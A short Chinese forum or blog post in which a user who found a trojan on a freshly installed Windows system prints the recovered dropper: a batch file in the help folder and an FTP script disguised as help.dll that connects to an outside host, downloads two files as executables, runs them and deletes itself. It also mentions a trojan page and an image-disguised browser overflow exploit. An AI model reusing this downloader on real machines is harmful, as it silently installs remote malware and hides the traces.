刚装好系统就发现有***，无语的很啊，这年头。。

找着两个批处理，程序已经被AVAST杀了。。

看一下吧。。无聊的人。。

BAI.BAT---在HELP目录下
del cc.exe
ftp.exe -s:C:\WINDOWS\help\help.dll
if not exist cc.exe sfd -s:C:\WINDOWS\help\help.dll
if not exist cc.exe sft -s:C:\WINDOWS\help\help.dll
cc.exe
cc.exe
cc1.exe
cc1.exe
if not exist cc.exe C:\WINDOWS\help\bai.VBS
:end
del C:\WINDOWS\help\help.dll
del C:\WINDOWS\help\bai.BAT
exit
help.dll
OPEN crr.fdu8.cn
168
get crr.ini cc.exe
get crt.ini cc1.exe
bye
没有研究它，那个BAI.VBS。。我的电脑上被杀。。
这是他FTP上的东西

muma.html

    



darkst.png是一个HTML形式的溢出程序。